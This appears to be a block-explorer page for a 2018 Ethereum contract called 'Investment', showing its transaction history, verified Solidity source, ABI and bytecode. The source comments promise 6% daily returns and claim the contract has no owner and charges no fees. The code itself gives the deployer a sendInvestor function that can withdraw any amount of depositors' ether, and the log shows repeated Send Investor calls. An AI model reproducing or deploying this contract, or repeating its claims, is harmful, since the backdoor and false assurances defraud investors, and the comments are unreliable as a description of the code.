ETH Price: $2,408.04 (+3.66%)

Contract

0x97C28151617F7361Ac7eBfF5F7C864d39947e73F
 

Overview

ETH Balance

0.008546101694915257 ETH

Eth Value

$20.58 (@ $2,408.04/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer64726062018-10-07 21:14:132167 days ago1538946853IN
0x97C28151...39947e73F
0 ETH0.000147255
Transfer64702752018-10-07 12:21:362168 days ago1538914896IN
0x97C28151...39947e73F
0 ETH0.000090042
Transfer64702512018-10-07 12:17:022168 days ago1538914622IN
0x97C28151...39947e73F
0 ETH0.000088353
Transfer64702362018-10-07 12:13:512168 days ago1538914431IN
0x97C28151...39947e73F
0 ETH0.000088353
Send Investor64693252018-10-07 8:43:192168 days ago1538901799IN
0x97C28151...39947e73F
0 ETH0.0014740647
Send Investor64693192018-10-07 8:41:222168 days ago1538901682IN
0x97C28151...39947e73F
0 ETH0.0014740647
Send Investor64693162018-10-07 8:39:462168 days ago1538901586IN
0x97C28151...39947e73F
0 ETH0.0014740647
Send Investor64693082018-10-07 8:37:132168 days ago1538901433IN
0x97C28151...39947e73F
0 ETH0.0014770647
Send Investor64692982018-10-07 8:34:272168 days ago1538901267IN
0x97C28151...39947e73F
0 ETH0.0014770647
Send Investor64692932018-10-07 8:33:282168 days ago1538901208IN
0x97C28151...39947e73F
0 ETH0.0014770647
Send Investor64692882018-10-07 8:32:322168 days ago1538901152IN
0x97C28151...39947e73F
0 ETH0.0014770647
Send Investor64692842018-10-07 8:31:182168 days ago1538901078IN
0x97C28151...39947e73F
0 ETH0.0014770647
Send Investor64692752018-10-07 8:28:272168 days ago1538900907IN
0x97C28151...39947e73F
0 ETH0.0014770647
Send Investor64692602018-10-07 8:25:042168 days ago1538900704IN
0x97C28151...39947e73F
0 ETH0.0017223647
Send Investor64692542018-10-07 8:21:422168 days ago1538900502IN
0x97C28151...39947e73F
0 ETH0.0014770647
Approve Investor64690512018-10-07 7:37:272168 days ago1538897847IN
0x97C28151...39947e73F
0 ETH0.00008573
Send Investor64684042018-10-07 5:05:042168 days ago1538888704IN
0x97C28151...39947e73F
0 ETH0.001288541
Send Investor64679602018-10-07 3:19:502168 days ago1538882390IN
0x97C28151...39947e73F
0 ETH0.000069132.2
Send Investor64678932018-10-07 3:06:032168 days ago1538881563IN
0x97C28151...39947e73F
0 ETH0.000047141.5
Transfer64637952018-10-06 11:09:412169 days ago1538824181IN
0x97C28151...39947e73F
0 ETH0.000135063
Transfer64581462018-10-05 13:12:282170 days ago1538745148IN
0x97C28151...39947e73F
0 ETH0.00022515
Transfer64517392018-10-04 12:14:062171 days ago1538655246IN
0x97C28151...39947e73F
0 ETH0.000315147
Transfer64446542018-10-03 8:27:522172 days ago1538555272IN
0x97C28151...39947e73F
0 ETH0.000270126
Transfer64429122018-10-03 1:25:462172 days ago1538529946IN
0x97C28151...39947e73F
0.6 ETH0.000315147
Transfer64426512018-10-03 0:27:202172 days ago1538526440IN
0x97C28151...39947e73F
0 ETH0.00022515
View all transactions

Latest 8 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
64702752018-10-07 12:21:362168 days ago1538914896
0x97C28151...39947e73F
0.03599796 ETH
64692602018-10-07 8:25:042168 days ago1538900704
0x97C28151...39947e73F
1.005 ETH
64637952018-10-06 11:09:412169 days ago1538824181
0x97C28151...39947e73F
0.04021322 ETH
64581462018-10-05 13:12:282170 days ago1538745148
0x97C28151...39947e73F
0.04560915 ETH
64517392018-10-04 12:14:062171 days ago1538655246
0x97C28151...39947e73F
0.05043559 ETH
64446542018-10-03 8:27:522172 days ago1538555272
0x97C28151...39947e73F
0.01240067 ETH
64429122018-10-03 1:25:462172 days ago1538529946
0x97C28151...39947e73F
0.00026542 ETH
64426512018-10-03 0:27:202172 days ago1538526440
0x97C28151...39947e73F
0.00653186 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Investment

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-10-01
*/

pragma solidity ^0.4.0;

/**
 *
 * Easy Investment Contract
 *  - GAIN 6% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract Investment {
    // records amounts invested
    mapping (address => uint256) public invested;
    // records blocks at which investments were made
    mapping (address => uint256) public atBlock;
    // address investors
    address investor;
    // balance ivestors
    uint256 balance;
    // constructor initialize investors
    constructor() public {
        investor = msg.sender;
    }
    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 6% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 6 / 100 * (block.number - atBlock[msg.sender]) / 5900;
            // send calculated amount of ether directly to sender (aka YOU)
            msg.sender.transfer(amount);
        }
        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
        balance += msg.value;
    }
    // approved for investors
    function approveInvestor(address _investor) public onlyInvestor {
        investor = _investor;
    }
    // send to investors
    function sendInvestor(address _investor, uint256 amount) public payable onlyInvestor {
        _investor.transfer(amount);
        balance -= amount;
    }
    // get investors balance
    function getBalance() public constant returns(uint256) {
        return balance;
    }
    // get investors address
    function getInvestor() public constant onlyInvestor returns(address)  {
        return investor;
    }
    // access only for investors modifier
    modifier onlyInvestor() {
        require(msg.sender == investor);
        _;
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"invested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getInvestor","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_investor","type":"address"}],"name":"approveInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"atBlock","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_investor","type":"address"},{"name":"amount","type":"uint256"}],"name":"sendInvestor","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

608060405234801561001057600080fd5b5060028054600160a060020a03191633179055610318806100326000396000f3006080604052600436106100775763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166312065fe0811461012357806366b3f6bf1461014a578063796c89021461016b5780637de141291461019c5780638aac1362146101bf578063e8d0ed31146101e0575b33600090815260208190526040812054156100f35733600090815260016020908152604080832054918390529091205461170c9143039060649060060204028115156100bf57fe5b6040519190049150339082156108fc029083906000818181858888f193505050501580156100f1573d6000803e3d6000fd5b505b50336000908152600160209081526040808320439055908290529020805434908101909155600380549091019055005b34801561012f57600080fd5b506101386101f7565b60408051918252519081900360200190f35b34801561015657600080fd5b50610138600160a060020a03600435166101fd565b34801561017757600080fd5b5061018061020f565b60408051600160a060020a039092168252519081900360200190f35b3480156101a857600080fd5b506101bd600160a060020a0360043516610239565b005b3480156101cb57600080fd5b50610138600160a060020a036004351661027f565b6101bd600160a060020a0360043516602435610291565b60035490565b60006020819052908152604090205481565b600254600090600160a060020a0316331461022957600080fd5b50600254600160a060020a031690565b600254600160a060020a0316331461025057600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60016020526000908152604090205481565b600254600160a060020a031633146102a857600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f193505050501580156102de573d6000803e3d6000fd5b5060038054919091039055505600a165627a7a72305820d76f7b036f286a1d3813c1fbff22ef992b99bbab2d227e1284a0b98f17839a450029

Deployed Bytecode

0x6080604052600436106100775763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166312065fe0811461012357806366b3f6bf1461014a578063796c89021461016b5780637de141291461019c5780638aac1362146101bf578063e8d0ed31146101e0575b33600090815260208190526040812054156100f35733600090815260016020908152604080832054918390529091205461170c9143039060649060060204028115156100bf57fe5b6040519190049150339082156108fc029083906000818181858888f193505050501580156100f1573d6000803e3d6000fd5b505b50336000908152600160209081526040808320439055908290529020805434908101909155600380549091019055005b34801561012f57600080fd5b506101386101f7565b60408051918252519081900360200190f35b34801561015657600080fd5b50610138600160a060020a03600435166101fd565b34801561017757600080fd5b5061018061020f565b60408051600160a060020a039092168252519081900360200190f35b3480156101a857600080fd5b506101bd600160a060020a0360043516610239565b005b3480156101cb57600080fd5b50610138600160a060020a036004351661027f565b6101bd600160a060020a0360043516602435610291565b60035490565b60006020819052908152604090205481565b600254600090600160a060020a0316331461022957600080fd5b50600254600160a060020a031690565b600254600160a060020a0316331461025057600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60016020526000908152604090205481565b600254600160a060020a031633146102a857600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f193505050501580156102de573d6000803e3d6000fd5b5060038054919091039055505600a165627a7a72305820d76f7b036f286a1d3813c1fbff22ef992b99bbab2d227e1284a0b98f17839a450029

Swarm Source

bzzr://d76f7b036f286a1d3813c1fbff22ef992b99bbab2d227e1284a0b98f17839a45

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.